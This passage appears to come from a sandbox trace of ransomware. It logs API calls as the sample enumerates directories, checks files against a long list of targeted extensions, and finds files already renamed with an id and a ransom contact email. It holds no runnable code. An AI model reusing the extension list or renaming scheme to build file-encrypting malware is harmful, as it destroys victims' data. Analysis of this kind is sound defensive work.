lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mef") returned 4 [0088.655] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mft") returned 4 [0088.655] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mfw") returned 4 [0088.655] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mht") returned 4 [0088.655] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.655] lstrlenW (lpString=".mhtml") returned 6 [0088.655] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.656] lstrlenW (lpString=".mka") returned 4 [0088.656] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mkidx") returned 6 [0088.656] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.656] lstrlenW (lpString=".mkv") returned 4 [0088.656] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mos") returned 4 [0088.656] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mov") returned 4 [0088.656] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mp3") returned 4 [0088.656] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mp4") returned 4 [0088.656] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mpeg") returned 5 [0088.656] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.656] lstrlenW (lpString=".mpg") returned 4 [0088.656] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mpv") returned 4 [0088.656] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mrw") returned 4 [0088.656] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".msg") returned 4 [0088.656] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.656] lstrlenW (lpString=".mxl") returned 4 [0088.657] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".myd") returned 4 [0088.657] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".myi") returned 4 [0088.657] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".nef") returned 4 [0088.657] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".nrw") returned 4 [0088.657] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".obj") returned 4 [0088.657] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".odb") returned 4 [0088.657] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".odc") returned 4 [0088.657] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".odm") returned 4 [0088.657] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".odp") returned 4 [0088.657] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".ods") returned 4 [0088.657] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".oft") returned 4 [0088.657] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".one") returned 4 [0088.657] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.657] lstrlenW (lpString=".onepkg") returned 7 [0088.658] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.658] lstrlenW (lpString=".onetoc2") returned 8 [0088.658] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.658] lstrlenW (lpString=".opt") returned 4 [0088.658] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".oqy") returned 4 [0088.658] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".orf") returned 4 [0088.658] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".p12") returned 4 [0088.658] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".p7b") returned 4 [0088.658] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".p7c") returned 4 [0088.658] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pam") returned 4 [0088.658] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pbm") returned 4 [0088.658] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pct") returned 4 [0088.658] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pcx") returned 4 [0088.658] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pdd") returned 4 [0088.658] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.658] lstrlenW (lpString=".pdf") returned 4 [0088.659] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pdp") returned 4 [0088.659] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pef") returned 4 [0088.659] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pem") returned 4 [0088.659] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pff") returned 4 [0088.659] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pfm") returned 4 [0088.659] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pfx") returned 4 [0088.659] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".pgm") returned 4 [0088.659] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".php") returned 4 [0088.659] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.659] lstrlenW (lpString=".php3") returned 5 [0088.659] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.659] lstrlenW (lpString=".php4") returned 5 [0088.659] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.659] lstrlenW (lpString=".php5") returned 5 [0088.659] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.659] lstrlenW (lpString=".phtml") returned 6 [0088.659] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.660] lstrlenW (lpString=".pict") returned 5 [0088.660] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.660] lstrlenW (lpString=".pl") returned 3 [0088.660] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.660] lstrlenW (lpString=".pls") returned 4 [0088.660] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".pm") returned 3 [0088.660] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.660] lstrlenW (lpString=".png") returned 4 [0088.660] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".pnm") returned 4 [0088.660] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".pot") returned 4 [0088.660] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".potm") returned 5 [0088.660] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.660] lstrlenW (lpString=".potx") returned 5 [0088.660] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.660] lstrlenW (lpString=".ppa") returned 4 [0088.660] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".ppam") returned 5 [0088.660] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.660] lstrlenW (lpString=".ppm") returned 4 [0088.660] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.660] lstrlenW (lpString=".pps") returned 4 [0088.660] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".ppsm") returned 5 [0088.661] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.661] lstrlenW (lpString=".ppt") returned 4 [0088.661] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".pptm") returned 5 [0088.661] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.661] lstrlenW (lpString=".pptx") returned 5 [0088.661] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.661] lstrlenW (lpString=".prn") returned 4 [0088.661] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".ps") returned 3 [0088.661] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.661] lstrlenW (lpString=".psb") returned 4 [0088.661] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".psd") returned 4 [0088.661] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".pst") returned 4 [0088.661] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".ptx") returned 4 [0088.661] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".pub") returned 4 [0088.661] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".pwm") returned 4 [0088.661] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.661] lstrlenW (lpString=".pxr") returned 4 [0088.661] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.662] lstrlenW (lpString=".py") returned 3 [0088.662] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.662] lstrlenW (lpString=".qt") returned 3 [0088.662] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.662] lstrlenW (lpString=".r3d") returned 4 [0088.662] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.662] lstrlenW (lpString=".raf") returned 4 [0088.662] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.662] lstrlenW (lpString=".rar") returned 4 [0088.662] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.662] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0088.662] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0088.662] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0088.663] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.663] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0088.663] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0088.663] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30 [0088.663] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0088.664] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.664] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7841485, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7841485, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7841485, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0088.664] lstrlenW (lpString="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr") returned 55 [0088.664] lstrlenW (lpString=".1cd") returned 4 [0088.664] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.664] lstrlenW (lpString=".3ds") returned 4 [0088.664] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.664] lstrlenW (lpString=".3fr") returned 4 [0088.664] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.664] lstrlenW (lpString=".3g2") returned 4 [0088.664] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.664] lstrlenW (lpString=".3gp") returned 4 [0088.664] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.664] lstrlenW (lpString=".7z") returned 3 [0088.664] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.664] lstrlenW (lpString=".accda") returned 6 [0088.664] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.664] lstrlenW (lpString=".accdb") returned 6 [0088.664] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.665] lstrlenW (lpString=".accdc") returned 6 [0088.665] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.665] lstrlenW (lpString=".accde") returned 6 [0088.665] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.665] lstrlenW (lpString=".accdt") returned 6 [0088.665] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.665] lstrlenW (lpString=".accdw") returned 6 [0088.665] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.665] lstrlenW (lpString=".adb") returned 4 [0088.665] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".adp") returned 4 [0088.665] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai") returned 3 [0088.665] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.665] lstrlenW (lpString=".ai3") returned 4 [0088.665] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai4") returned 4 [0088.665] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai5") returned 4 [0088.665] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai6") returned 4 [0088.665] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai7") returned 4 [0088.665] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.665] lstrlenW (lpString=".ai8") returned 4 [0088.666] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".anim") returned 5 [0088.666] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.666] lstrlenW (lpString=".arw") returned 4 [0088.666] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".as") returned 3 [0088.666] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.666] lstrlenW (lpString=".asa") returned 4 [0088.666] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".asc") returned 4 [0088.666] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".ascx") returned 5 [0088.666] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.666] lstrlenW (lpString=".asm") returned 4 [0088.666] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".asmx") returned 5 [0088.666] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.666] lstrlenW (lpString=".asp") returned 4 [0088.666] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".aspx") returned 5 [0088.666] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.666] lstrlenW (lpString=".asr") returned 4 [0088.666] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".asx") returned 4 [0088.666] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.666] lstrlenW (lpString=".avi") returned 4 [0088.667] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".avs") returned 4 [0088.667] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".backup") returned 7 [0088.667] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.667] lstrlenW (lpString=".bak") returned 4 [0088.667] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".bay") returned 4 [0088.667] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".bd") returned 3 [0088.667] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.667] lstrlenW (lpString=".bin") returned 4 [0088.667] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".bmp") returned 4 [0088.667] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".bz2") returned 4 [0088.667] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".c") returned 2 [0088.667] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.667] lstrlenW (lpString=".cdr") returned 4 [0088.667] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".cer") returned 4 [0088.667] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.667] lstrlenW (lpString=".cf") returned 3 [0088.667] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.667] lstrlenW (lpString=".cfc") returned 4 [0088.668] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".cfm") returned 4 [0088.668] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".cfml") returned 5 [0088.668] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.668] lstrlenW (lpString=".cfu") returned 4 [0088.668] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".chm") returned 4 [0088.668] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".cin") returned 4 [0088.668] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".class") returned 6 [0088.668] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.668] lstrlenW (lpString=".clx") returned 4 [0088.668] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".config") returned 7 [0088.668] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.668] lstrlenW (lpString=".cpp") returned 4 [0088.668] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".cr2") returned 4 [0088.668] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".crt") returned 4 [0088.668] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.668] lstrlenW (lpString=".crw") returned 4 [0088.668] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".cs") returned 3 [0088.669] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.669] lstrlenW (lpString=".css") returned 4 [0088.669] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".csv") returned 4 [0088.669] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".cub") returned 4 [0088.669] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dae") returned 4 [0088.669] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dat") returned 4 [0088.669] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".db") returned 3 [0088.669] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.669] lstrlenW (lpString=".dbf") returned 4 [0088.669] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dbx") returned 4 [0088.669] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dc3") returned 4 [0088.669] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dcm") returned 4 [0088.669] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".dcr") returned 4 [0088.669] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.669] lstrlenW (lpString=".der") returned 4 [0088.669] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".dib") returned 4 [0088.670] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".dic") returned 4 [0088.670] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".dif") returned 4 [0088.670] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".divx") returned 5 [0088.670] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".djvu") returned 5 [0088.670] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".dng") returned 4 [0088.670] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".doc") returned 4 [0088.670] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".docm") returned 5 [0088.670] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".docx") returned 5 [0088.670] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".dot") returned 4 [0088.670] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.670] lstrlenW (lpString=".dotm") returned 5 [0088.670] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".dotx") returned 5 [0088.670] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.670] lstrlenW (lpString=".dpx") returned 4 [0088.671] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dqy") returned 4 [0088.671] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dsn") returned 4 [0088.671] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dt") returned 3 [0088.671] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.671] lstrlenW (lpString=".dtd") returned 4 [0088.671] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dwg") returned 4 [0088.671] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dwt") returned 4 [0088.671] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".dx") returned 3 [0088.671] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.671] lstrlenW (lpString=".dxf") returned 4 [0088.671] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".edml") returned 5 [0088.671] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.671] lstrlenW (lpString=".efd") returned 4 [0088.671] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".elf") returned 4 [0088.671] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".emf") returned 4 [0088.671] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.671] lstrlenW (lpString=".emz") returned 4 [0088.672] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned 